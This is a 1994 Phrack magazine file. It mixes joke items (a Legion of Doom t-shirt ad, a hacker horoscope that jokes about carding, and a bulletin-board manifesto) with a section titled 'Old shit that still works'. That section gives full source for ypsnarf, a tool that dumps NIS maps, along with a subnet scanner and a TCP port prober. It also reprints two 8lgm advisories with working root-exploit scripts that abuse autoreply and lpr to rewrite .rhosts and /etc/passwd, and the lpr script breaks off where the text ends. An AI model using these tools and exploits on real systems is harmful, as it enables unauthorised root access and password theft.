Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 05 Issue 46 File 04
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 4 of 28
// // /\ // ====
// // //\\ // ====
==== // // \\/ ====
/\ // // \\ // /=== ====
//\\ // // // // \=\ ====
// \\/ \\ // // ===/ ====
PART II
------------------------------------------------------------------------------
The official Legion of Doom t-shirts are still available.
Join the net.luminaries world-wide in owning one of
these amazing shirts. Impress members of the opposite sex, increase
your IQ, annoy system administrators, get raided by the government and
lose your wardrobe!
Can a t-shirt really do all this? Of course it can!
--------------------------------------------------------------------------
"THE HACKER WAR -- LOD vs MOD"
This t-shirt chronicles the infamous "Hacker War" between rival
groups The Legion of Doom and The Masters of Destruction. The front
of the shirt displays a flight map of the various battle-sites
hit by MOD and tracked by LOD. The back of the shirt
has a detailed timeline of the key dates in the conflict, and
a rather ironic quote from an MOD member.
(For a limited time, the original is back!)
"LEGION OF DOOM -- INTERNET WORLD TOUR"
The front of this classic shirt displays "Legion of Doom Internet World
Tour" as well as a sword and telephone intersecting the planet
earth, skull-and-crossbones style. The back displays the
words "Hacking for Jesus" as well as a substantial list of "tour-stops"
(internet sites) and a quote from Aleister Crowley.
--------------------------------------------------------------------------
All t-shirts are sized XL, and are 100% cotton.
Cost is $15.00 (US) per shirt. International orders add $5.00 per shirt for
postage.
Send checks or money orders. Please, no credit cards, even if
it's really your card.
Name: __________________________________________________
Address: __________________________________________________
City, State, Zip: __________________________________________
I want ____ "Hacker War" shirt(s)
I want ____ "Internet World Tour" shirt(s)
Enclosed is $______ for the total cost.
Mail to: Chris Goggans
603 W. 13th #1A-278
Austin, TX 78701
These T-shirts are sold only as a novelty items, and are in no way
attempting to glorify computer crime.
------------------------------------------------------------------------------
introducing...
The PHRACK Horoscope, Summer 1994
Foreseen in long nights of nocturnal lubrication by Onkel Dittmeyer
---
Do you believe in the stars? Many do, some don't. In fact, the stars
can tell you a whole lot about the future. That's bullshit? You don't
believe it? Good. Be doomed. See you in hell. Here's the official PHRACK
horoscope for all eleet hackerz for the summer of 1994.
You can use this chart to find out your zodiac sign by your DOB.
Aquarius.....01/20 - 02/18 Leo..........07/23 - 08/22
Pisces.......02/19 - 03/20 Virgo........08/23 - 09/22
Aries........03/21 - 04/19 Libra........09/23 - 10/22
Taurus.......04/20 - 05/20 Scorpio......10/23 - 11/21
Gemini.......05/21 - 06/20 Sagittarius..11/22 - 12/21
Cancer.......06/21 - 07/22 Capricorn....12/22 - 01/19
---
oOo This summer's best combinations oOo
YOU LOVE BS VICTIM H0T WAREZ
==============================================================
Aquarius Libra Leo Sagittarius
Pisces Sagittarius Aquarius Cancer
Aries Aries Cancer Capricorn
Taurus Gemini Pisces Taurus
Gemini Cancer Aries Scorpio
Cancer Leo Virgo Gemini
Leo Scorpio Gemini Leo
Virgo Capricorn Sagittarius Libra
Libra Virgo Libra Virgo
Scorpio Pisces Capricorn Pisces
Sagittarius Aquarius Scorpio Aquarius
Capricorn Taurus Taurus Aries
==============================================================
---
And Now... The 3l33t And Official PHRACK Summer 1994 Horoscope!
Aries [March 21st - April 19th]
There is a pot full of k0DeZ at the end of the rainbow for you.
Try to channel all your ambition on finding it, hint: you won't
find it in /bin/gif/kitchen.gear.
Warning: Risk of bust between August 5th and August 10th!
Luck [oooo.] - Wealth [oo...] - Bust risk [ooo..] - Love [o....]
Taurus [April 20th - May 20th]
PhedZzZz are lurking behind Saturn, obscured behind one of the rings.
Be sure to *67 all your calls, and you'll be fine. Hint: Don't undertake
any interstellar space travel, and avoid big yellow ships.
Watch out for SprintNet Security between July 12th and August 1st.
Luck [oo...] - Wealth [oo...] - Bust risk [oooo.] - Love [ooo..]
Gemini [May 21st - June 20th]
There might be a force dragging you into warez boards. Try to resist
the attraction, or you might be thrown out of the paradise.
Hint: If a stranger with a /ASL connect crosses your way, stay away
from him.
Warning: Your Dual Standard HST might explode sometime in June.
Luck [o....] - Wealth [ooo..] - Bust risk [o....] - Love [oo...]
Cancer [June 21st - July 22nd]
There are dark forces on your trail. Try to avoid all people wearing
suits, don't get in their cars, and don't let them give you shit.
Hint: Leave the country as soon if you can, or you won't be able to.
Look out for U4EA on IRC in late July, you might get /killed.
Luck [o....] - Wealth [oo...] - Bust risk [ooooo] - Love [oo...]
Leo [July 23rd - August 22nd]
The path of Venus this year tells us that there is love on the way
for you. Don't look for it on X-rated ftp sites, it might be out there
somewhere. Hint: Try getting out of the house more frequently or you
might miss it.
Warning: If Monica Weaver comes across your way, break and run!
Luck [ooo..] - Wealth [o....] - Bust risk [oo...] - Love [oooo.]
Virgo [August 23rd - September 22nd]
Pluto tells us that you should stay away from VAXes in the near future.
Lunatic force tells us that you might have more luck on Berkeley UNIX.
Hint: Try to go beyond cat /etc/passwd. Explore sendmail bugs.
Warning: In the first week of October, there is a risk of being ANIed.
Luck [oooo.] - Wealth [oo...] - Bust risk [oo...] - Love [o....]
Libra [September 23rd - October 22nd]
The closer way of Mars around the Sun this year might mean that you
will be sued by a telco or a big corporation. The eclipse of Uranus
could say that you might have some luck and card a VGA 486 Laptop.
Hint: Be careful on the cordless.
Watch out for good stuff in dumpsters between July 23rd and July 31st.
Luck [oo...] - Wealth [o....] - Bust risk [oooo.] - Love [oo...]
Scorpio [October 23rd - November 21st]
Sun propulsions say that you should spend more time exploring the
innards of credit report systems, but be aware that Saturn reminds
you that one local car dealer has his I.D. monitored.
Hint: Stay out of #warez
Warning: A star called 43-141 might be your doom. Watch out.
Luck [ooo..] - Wealth [oooo.] - Bust risk [oo...] - Love [oo...]
Sagittarius [November 22nd - December 21st]
Cold storms on Pluto suggest that you don't try to play eleet
anarchist on one of the upcoming cons. Pluto also sees that there
might be a slight chance that you catch a bullet pestering a cop.
Hint: Be nice to your relatives.
You might get lucky BSing during the third week of August.
Luck [o....] - Wealth [oo...] - Bust risk [ooo..] - Love [oo...]
Capricorn [December 22nd - January 19th]
This summer brings luck to you. Everything you try is about to work
out. You might find financial gain in selling k0DeZ to local warez
bozos. Hint: Don't try to BS at a number who is a prime number, they
will trace your ass and beat you to death with a raw cucumber.
Special kick of luck between June 14th and July 2nd.
Luck [ooooo] - Wealth [oooo.] - Bust risk [oo...] - Love [ooo..]
Aquarius [January 20th - February 18th]
The third moon of Saturn suggests to stay in bed over the whole
summer, or everything will worsen. Avoid to go to any meetings
and cons. Do not try to get up before September 11th.
Hint: You can risk to call PRODIGY and have a gR3aT time.
Warning: High chance of eavesdroping on your line on August 14th.
Luck [.....] - Wealth [o....] - Bust risk [ooooo] - Love [o....]
Pisces [February 19th - March 20th]
Mars reads a high mobility this summer. You should try to go to a
foreign county, maybe visit HEU II. Finances will be OK. Do not go
on any buses for that might be your doom.
Hint: Don't get a seat near a window, whatever you do.
Warning: Avoid 6'8" black guys in Holland, they might go for your ass.
Luck [ooo..] - Wealth [ooo..] - Bust risk [o....] - Love [oo...]
If your horoscope does not come true, complain to god@heaven.mil. 31337
If it does, you are welcome to report it to onkeld@ponton.hanse.de. 43V3R
------------------------------------------------------------------------------
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
The SenseReal Mission
If you are reading this it indicates you have reached a point
along your journey that you will have to decide whether you agree
with The SenseReal Foundation or whether you think that those who
believe and support The SenseReal Foundation are crazy. Your
decision to join The SenseReal Foundation on it's mission will
undoubtedly change your life forever. When you understand the
reason it exists and what it seeks you will better know how to
decide. That is why this text was created.
He is known as Green Ghost. Some know him as Jim Nightshade. He
was born in 1966. He is not a baby boomer and he is not a
Generation Xer. He falls into that group of the population that
has so far escaped definition. He is a (yberpunk. He was (yberpunk
before (yberpunk was cool. He is the founder and leader of The
SenseReal Foundation. You will learn more about him later.
But first you will have to know about the background. There once
was a man named Albert Hoffman. In 1943, on April 16 Hoffman
absorbed a threshold amount of the drug known as LSD. He
experienced "a peculiar restlessness". LSD since that time has
played an important role in this world.
There are other agents involved in the story. Mary Pinchot, JFK,
Nixon, Charles Manson, Jimi Hendrix, Timothy Leary, Elvis Presley
and many others. There are too many details and explanations
necessary to explain everything here. But this does not matter.
Because the SenseReal Foundation is about riding the wave. We
believe that the ultimate goal cannot be defined. To define it
would be to destroy it.
The SenseReal Foundation hopes that things can be changed for
the better. But we realize that the situation can become
much worse. From what history teaches us and what we instinctively
feel, we know that there is a great probability that things will
get much worse before and if things ever get better. Doom looms
on the horizon like an old friend.
Freedom is being threatened every day and The SenseReal
Foundation seeks to defend and seek Freedom. Big Brother is here
NOW and to deny his existence is only to play into his hand. The
goal of our government both here in America and worldwide is to
remain in power and increase it's control of The People. To
expose Big Brother and destroy him is one of the many goals of
The SenseReal Foundation.
As a member of (yberspace and an agent of The SenseReal
Foundation you will have to carefully consider your interaction
with the flow of Info. The ideals of Liberty must be maintained.
The SenseReal Foundation provides a grounding point. The place
where the spark transfers from plasma to light and back to plasma.
Tesla was not on the wrong track. The SenseReal Foundation is a
mechanism which seeks to increase Freedom. Only by learning more
can we defeat the Evil. The Good must prevail.
If you have the Hacker spirit and think along the same lines
then The SenseReal Foundation may be your calling. If you think
like J.R. Dobbs or Green Ghost then it is possible we can make it
through The Apocalypse. A final date has never been announced for
this event. Green Ghost does not claim to know the exact date but
he does claim to have some Info on it.
Green Ghost does not claim to have all the answers or even to
know all the questions. He was first exposed to computers in the
early 70's at his local high school. The first computer he ever
used was a Honeywell terminal connected to a mainframe operated
at the home office of Honeywell and operated for the school.
This machine was programed by feeding it stacks of cards with
boxes X'd out with a No. 2 pencil. It did have a keyboard hooked
up to a printer which served for the monitor. The text was typed
out and the paper rolled out of the machine in great waves.
This experience left him wanting more. Somewhere between the
machine and the mind were all the questions and all the answers.
The SenseReal Foundation will supply some of the means. We
must all work together if we are to succeed. UNITED WE STAND,
DIVIDED WE FALL. If you wish to participate with The SenseReal
Foundation you must devote yourself to becoming an Info Agent.
As an Info Agent it is your duty to seek Truth and Knowledge
out wherever it is located. To Learn and to seek to increase
the Learning of all at The SenseReal Foundation. Different
people will be needed to help out in different ways.
SenseReal's Info Agents are located all around the world and
are in contact with fellow SenseReal members via any one of
several SenseReal facilities. The primary establishment and
headquarters of The SenseReal Foundation is SenseReal's own
online system:
T /-/ E /-/ /=\ ( /< E R ' S /\/\ /=\ /\/ S / O /\/
>>>::: 1 - 8 0 3 - 7 8 5 - 5 0 8 0 :::<<<
27 Hours Per Day /14.4 Supra /Home of The SenseReal Foundation
Also contact via SenseReal's mail drop by writing or sending
materials to: TSF \ Electronic Mail:
P.O. BOX 6914 \ Green_Ghost@neonate.atl.ga.us
HILTON HEAD, SC 29938-6914 \
The Hacker's /\/\ansion is a system like no other. While it is
not your typical Hackers board it has much Info on Hacking. While
it is not like any Adult system you've ever seen it has the most
finest Adult material available anywhere. It is not a Warez board
but we are definitely Pirates. Because we are (yberpunks. What
makes the Hacker's Mansion different is our emphasis on quality.
Everything that you find at The /-/acker's /\/\ansion is 1ST
(lass. All the coolest E-zines are pursued here. Phrack, CUD, and
Thought Virus to name just a few. Of course there is one other
source for Thought Virus:
Send E-Mail to: ListServ@neonate.atl.ga.us
In the subject or body of the message write:
FAQ ThoughtCriminals
and you will receive the current issue in your E-Mail box in no
time. If you wish to join the Thought Criminals mailing list and
communicate with your fellow Thought Criminals via E-Mail then
send another message to: ListServ@neonate.atl.ga.us
and write the following in the subject or body of the message:
Subscribe ThoughtCriminals Your-Address-Here
or simply: Subscribe ThoughtCriminals
To mail others on the Thought Criminals mailing list send a message
to: ThoughtCriminals@neonate.atl.ga.us
Tell us all. Communication is vital. Our survival may depend on
it. The SenseReal Foundation is about the allegiance of many
people, and indeed beings, as our friends from other planets can
tell you. The EFF inspired us and was a model but we don't have
the EFF's money so we need YOU. If you are someone who can
contribute or who believes in The Cause or are just interested
in Tax Resistance or the Free The Weed movement then you should
join The SenseReal Foundation today. Contact us through any of
above channels and become a Freedom Fighter today. Time is of
the essence.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
------------------------------------------------------------------------------
** OLD SHIT THAT STILL WORKS **
- sometimes -
/*
* THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
* THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
* IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT
* REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
*
* ypsnarf - exercise security holes in yp/nis.
*
* Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
* (casper@fwi.uva.nl).
*
* Usage:
* ypsnarf server client
* - to obtain the yp domain name
* ypsnarf server domain mapname
* - to obtain a copy of a yp map
* ypsnarf server domain maplist
* - to obtain a list of yp maps
*
* In the first case, we lie and pretend to be the host "client", and send
* a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this
* to work, "server" must be running rpc.bootparamd, and "client" must be a
* diskless client of (well, it must boot from) "server".
*
* In the second case, we send a YPPROC_DOMAIN request to the host "server",
* asking if it serves domain "domain". If so, we send YPPROC_FIRST and
* YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
* "mapname". Note that you must specify the full yp map name, you cannot
* use the shorthand names provided by "ypcat".
*
* In the third case, the special map name "maplist" tells ypsnarf to send
* a YPPROC_MAPLIST request to the server and get the list of maps in domain
* "domain", instead of getting the contents of a map. If the server has a
* map called "maplist" you can't get it. Oh well.
*
* Since the callrpc() routine does not make any provision for timeouts, we
* artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
* initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
*
* This program uses UDP packets, which means there's a chance that things
* will get dropped on the floor; it's not a reliable stream like TCP. In
* practice though, this doesn't seem to be a problem.
*
* To compile:
* cc -o ypsnarf ypsnarf.c -lrpcsvc
*
* David A. Curry
* Purdue University
* Engineering Computer Network
* Electrical Engineering Building
* West Lafayette, IN 47907
* davy@ecn.purdue.edu
* January, 1991
*/
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <rpc/rpc.h>
#include <rpcsvc/bootparam.h>
#include <rpcsvc/yp_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/time.h>
#include <signal.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */
#define YPSNARF_TIMEOUT1 15 /* timeout for initial request */
#define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */
char *pname; /* program name */
main(argc, argv)
char **argv;
int argc;
{
char *server, *client, *domain, *mapname;
pname = *argv;
/*
* Process arguments. This is less than robust, but then
* hey, you're supposed to know what you're doing.
*/
switch (argc) {
case 3:
server = *++argv;
client = *++argv;
get_yp_domain(server, client);
exit(0);
case 4:
server = *++argv;
domain = *++argv;
mapname = *++argv;
if (strcmp(mapname, "maplist") == 0)
get_yp_maplist(server, domain);
else
get_yp_map(server, domain, mapname);
exit(0);
default:
fprintf(stderr, "Usage: %s server client -", pname);
fprintf(stderr, "to obtain yp domain name\n");
fprintf(stderr, " %s server domain mapname -", pname);
fprintf(stderr, "to obtain contents of yp map\n");
exit(1);
}
}
/*
* get_yp_domain - figure out the yp domain used between server and client.
*/
get_yp_domain(server, client)
char *server, *client;
{
long hostip;
struct hostent *hp;
bp_whoami_arg w_arg;
bp_whoami_res w_res;
extern void timeout();
enum clnt_stat errcode;
/*
* Just a sanity check, here.
*/
if ((hp = gethostbyname(server)) == NULL) {
fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
exit(1);
}
/*
* Allow the client to be either an internet address or a
* host name. Copy in the internet address.
*/
if ((hostip = inet_addr(client)) == -1) {
if ((hp = gethostbyname(client)) == NULL) {
fprintf(stderr, "%s: %s: unknown host.\n", pname,
client);
exit(1);
}
bcopy(hp->h_addr_list[0],
(caddr_t) &w_arg.client_address.bp_address.ip_addr,
hp->h_length);
}
else {
bcopy((caddr_t) &hostip,
(caddr_t) &w_arg.client_address.bp_address.ip_addr,
sizeof(ip_addr_t));
}
w_arg.client_address.address_type = IP_ADDR_TYPE;
bzero((caddr_t) &w_res, sizeof(bp_whoami_res));
/*
* Send a BOOTPARAMPROC_WHOAMI request to the server. This will
* give us the yp domain in the response, IFF client boots from
* the server.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
xdr_bp_whoami_res, &w_res);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
/*
* Print the domain name.
*/
printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
/*
* The maximum domain name length is 255 characters, but the
* rpc.bootparamd program truncates anything over 32 chars.
*/
if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
printf(" (truncated?)");
/*
* Put out the client name, if they didn't know it.
*/
if (hostip != -1)
printf(" (client name = %s)", w_res.client_name);
putchar('\n');
}
/*
* get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
*/
get_yp_map(server, domain, mapname)
char *server, *domain, *mapname;
{
char *reqp;
bool_t yesno;
u_long calltype;
bool (*xdr_proc)();
extern void timeout();
enum clnt_stat errcode;
struct ypreq_key keyreq;
struct ypreq_nokey nokeyreq;
struct ypresp_key_val answer;
/*
* This code isn't needed; the next call will give the same
* error message if there's no yp server there.
*/
#ifdef not_necessary
/*
* "Ping" the yp server and see if it's there.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
xdr_void, 0);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
#endif
/*
* Figure out whether server serves the yp domain we want.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
xdr_wrapstring, (caddr_t) &domain, xdr_bool,
(caddr_t) &yesno);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
/*
* Nope...
*/
if (yesno == FALSE) {
fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
server, domain);
exit(1);
}
/*
* Now we just read entry after entry... The first entry we
* get with a nokey request.
*/
keyreq.domain = nokeyreq.domain = domain;
keyreq.map = nokeyreq.map = mapname;
reqp = (caddr_t) &nokeyreq;
keyreq.keydat.dptr = NULL;
answer.status = TRUE;
calltype = YPPROC_FIRST;
xdr_proc = xdr_ypreq_nokey;
while (answer.status == TRUE) {
bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT2);
errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
reqp, xdr_ypresp_key_val, &answer);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
/*
* Got something; print it.
*/
if (answer.status == TRUE) {
printf("%.*s\n", answer.valdat.dsize,
answer.valdat.dptr);
}
/*
* Now we're requesting the next item, so have to
* send back the current key.
*/
calltype = YPPROC_NEXT;
reqp = (caddr_t) &keyreq;
xdr_proc = xdr_ypreq_key;
if (keyreq.keydat.dptr)
free(keyreq.keydat.dptr);
keyreq.keydat = answer.keydat;
if (answer.valdat.dptr)
free(answer.valdat.dptr);
}
}
/*
* get_yp_maplist - get the yp map list for yp domain "domain" from server.
*/
get_yp_maplist(server, domain)
char *server, *domain;
{
bool_t yesno;
extern void timeout();
struct ypmaplist *mpl;
enum clnt_stat errcode;
struct ypresp_maplist maplist;
/*
* This code isn't needed; the next call will give the same
* error message if there's no yp server there.
*/
#ifdef not_necessary
/*
* "Ping" the yp server and see if it's there.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
xdr_void, 0);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
#endif
/*
* Figure out whether server serves the yp domain we want.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
xdr_wrapstring, (caddr_t) &domain, xdr_bool,
(caddr_t) &yesno);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
/*
* Nope...
*/
if (yesno == FALSE) {
fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
server, domain);
exit(1);
}
maplist.list = (struct ypmaplist *) NULL;
/*
* Now ask for the list.
*/
signal(SIGALRM, timeout);
alarm(YPSNARF_TIMEOUT1);
errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
xdr_wrapstring, (caddr_t) &domain,
xdr_ypresp_maplist, &maplist);
alarm(0);
if (errcode != RPC_SUCCESS)
print_rpc_err(errcode);
if (maplist.status != YP_TRUE) {
fprintf(stderr, "%s: cannot get map list: %s\n", pname,
yperr_string(ypprot_err(maplist.status)));
exit(1);
}
/*
* Print out the list.
*/
for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
printf("%s\n", mpl->ypml_name);
}
/*
* print_rpc_err - print an rpc error and exit.
*/
print_rpc_err(errcode)
enum clnt_stat errcode;
{
fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
exit(1);
}
/*
* timeout - print a timeout and exit.
*/
void timeout()
{
fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
exit(1);
}
------------------------------------------------------------------------------
#!/bin/perl -s
#
# Scan a subnet for valid hosts; if given hostname, will look at the
# 255 possible hosts on that net. Report if host is running rexd or
# ypserv.
#
# Usage: scan n.n.n.n
# mine, by default
$default = "130.80.26";
$| = 1;
if ($v) { $verbose = 1; }
if ($#ARGV == -1) { $root = $default; }
else { $root = $ARGV[0]; }
# ip address
if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
$root = "$one.$two.$three";
if ($root eq "..") { die "Can't figure out what to scan...\n"; }
}
print "Subnet $root:\n" if $verbose;
for $i (01..255) {
print "Trying $root.$i\t=> " if $verbose;
&resolve("$root.$i");
}
#
# Do the work
#
sub resolve {
local($name) = @_;
# ip address
if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
($a,$b,$c,$d) = split(/\./, $name);
@ip = ($a,$b,$c,$d);
($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
}
else {
($name, $aliases, $type, $len, @ip) = gethostbyname($name);
($a,$b,$c,$d) = unpack('C4',$ip[0]);
}
if ($name && @ip) {
print "$a.$b.$c.$d\t$name\n";
system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R
unning ypserv.\"\nfi\nfi");
}
else { print "unable to resolve address\n" if $verbose; }
}
sub AF_INET {2;}
------------------------------------------------------------------------------
/*
* probe_tcp_ports
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define RETURN_ERR -1
#define RETURN_FAIL 0
#define RETURN_SUCCESS 1
int Debug;
int Hack;
int Verbose;
main(ArgC, ArgV)
int ArgC;
char **ArgV;
{
int Index;
int SubIndex;
for (Index = 1; (Index < ArgC) && (ArgV[Index][0] == '-'); Index++)
for (SubIndex = 1; ArgV[Index][SubIndex]; SubIndex++)
switch (ArgV[Index][SubIndex])
{
case 'd':
Debug++;
break;
case 'h':
Hack++;
break;
case 'v':
Verbose++;
break;
default:
(void) fprintf(stderr,
"Usage: probe_tcp_ports [-dhv] [hostname [hostname ...] ]\n");
exit(1);
}
for (; Index < ArgC; Index++)
(void) Probe_TCP_Ports(ArgV[Index]);
exit(0);
}
Probe_TCP_Ports(Name)
char *Name;
{
unsigned Port;
char *Host;
struct hostent *HostEntryPointer;
struct sockaddr_in SocketInetAddr;
struct hostent TargetHost;
struct in_addr TargetHostAddr;
char *AddressList[1];
char NameBuffer[128];
extern int inet_addr();
extern char *rindex();
if (Name == NULL)
return (RETURN_FAIL);
Host = Name;
if (Host == NULL)
return (RETURN_FAIL);
HostEntryPointer = gethostbyname(Host);
if (HostEntryPointer == NULL)
{
TargetHostAddr.s_addr = inet_addr(Host);
if (TargetHostAddr.s_addr == -1)
{
(void) printf("unknown host: %s\n", Host);
return (RETURN_FAIL);
}
(void) strcpy(NameBuffer, Host);
TargetHost.h_name = NameBuffer;
TargetHost.h_addr_list = AddressList, TargetHost.h_addr =
(char *) &TargetHostAddr;
TargetHost.h_length = sizeof(struct in_addr);
TargetHost.h_addrtype = AF_INET;
TargetHost.h_aliases = 0;
HostEntryPointer = &TargetHost;
}
SocketInetAddr.sin_family = HostEntryPointer->h_addrtype;
bcopy(HostEntryPointer->h_addr, (char *) &SocketInetAddr.sin_addr,
HostEntryPointer->h_length);
for (Port = 1; Port < 65536; Port++)
(void) Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr);
return (RETURN_SUCCESS);
}
Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr)
unsigned Port;
struct hostent *HostEntryPointer;
struct sockaddr_in SocketInetAddr;
{
char Buffer[BUFSIZ];
int SocketDescriptor;
struct servent *ServiceEntryPointer;
SocketInetAddr.sin_port = Port;
SocketDescriptor = socket(AF_INET, SOCK_STREAM, 6);
if (SocketDescriptor < 0)
{
perror("socket");
return (RETURN_ERR);
}
if (Verbose)
{
(void) printf("Host %s, Port %d ", HostEntryPointer->h_name,
Port);
if ((ServiceEntryPointer = getservbyport(Port, "tcp")) !=
(struct servent *) NULL)
(void) printf(" (\"%s\" service) ",
ServiceEntryPointer->s_name);
(void) printf("connection ... ");
(void) fflush(stdout);
}
if (connect(SocketDescriptor, (char *) &SocketInetAddr,
sizeof(SocketInetAddr)) < 0)
{
if (Verbose)
(void) printf("NOT open.\n");
if (Debug)
perror("connect");
}
else
{
if (!Verbose)
{
(void) printf("Host %s, Port %d ",
HostEntryPointer->h_name, Port);
if ((ServiceEntryPointer = getservbyport(Port,"tcp")) !=
(struct servent *) NULL)
(void) printf(" (\"%s\" service) ",
ServiceEntryPointer->s_name);
(void) printf("connection ... ");
(void) fflush(stdout);
}
(void) printf("open.\n");
if (Hack)
{
(void) sprintf(Buffer, "/usr/ucb/telnet %s %d",
HostEntryPointer->h_name, Port);
(void) system(Buffer);
}
}
(void) close(SocketDescriptor);
return (RETURN_SUCCESS);
}
------------------------------------------------------------------------------
[8lgm]-Advisory-2.UNIX.autoreply.12-Jul-1991
PROGRAM:
autoreply(1) (/usr/local/bin/autoreply)
Supplied with the Elm Mail System
VULNERABLE OS's:
Any system with a standard installation of The Elm Mail System.
All versions are believed to have this vulnerability.
DESCRIPTION:
autoreply(1) can be used to create root owned files, with mode
666. It can also overwrite any file with semi user-controlled
data.
IMPACT:
Any user with access to autoreply(1) can alter system files and
thus become root.
REPEAT BY:
This example demonstrates how to become root on most affected
machines by modifying root's .rhosts file. Please do not do
this unless you have permission.
Create the following script, 'fixrhosts':
8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# fixrhosts rhosts-file user machine
#
if [ $# -ne 3 ]; then
echo "Usage: `basename $0` rhosts-file user machine"
exit 1
fi
RHOSTS="$1"
USERNAME="$2"
MACHINE="$3"
cd $HOME
echo x > "a
$MACHINE $USERNAME
b"
umask 022
autoreply "a
$MACHINE $USERNAME
b"
cat > /tmp/.rhosts.sh.$$ << 'EOF'
ln -s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'`
exec autoreply off
exit 0
EOF
/bin/sh /tmp/.rhosts.sh.$$ $RHOSTS
rm -f /tmp/.rhosts.sh.$$ "a
$MACHINE $USERNAME
b"
exit 0
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
> % id
uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
> % ./fixrhosts ~root/.rhosts 8lgm localhost
You've been added to the autoreply system.
You've been removed from the autoreply table.
> % rsh localhost -l root csh -i
Warning: no access to tty.
Thus no job control in this shell.
#
FIX:
1. Disable autoreply.
2. Wait for a patch from the Elm maintainers.
------------------------------------------------------------------------------
[8lgm]-Advisory-3.UNIX.lpr.19-Aug-1991
PROGRAM:
lpr(1) (/usr/ucb/lpr or /usr/bin/lpr)
VULNERABLE OS's:
SunOS 4.1.1 or earlier
BSD 4.3
BSD NET/2 Derived Systems
A/UX 2.0.1
Most systems supporting the BSD LP subsystem
DESCRIPTION:
lpr(1) can be used to overwrite or create (and become owner of)
any file on the system. lpr -s allows users to create symbolic
links in lpd's spool directory (typically /var/spool/lpd).
After 1000 invocations of lpr, lpr will reuse the filename in
the spool directory, and follow the link previously installed.
It will thus overwrite/create any file that this link points too.
IMPACT:
Any user with access to lpr(1) can alter system files and thus
become root.
REPEAT BY:
This example demonstrates how to become root on most affected
machines by modifying /etc/passwd and /etc/group. Please do
not do this unless you have permission.
Create the following script, 'lprcp':
8<--------------------------- cut here ----------------------------
#!/bin/csh -f
#
# Usage: lprcp from-file to-file
#
if ($#argv != 2) then
echo Usage: lprcp from-file to-file
exit 1
endif
# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$ # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$ # to where we really want
@ s = 0
while ( $s != 999) # loop 999 times
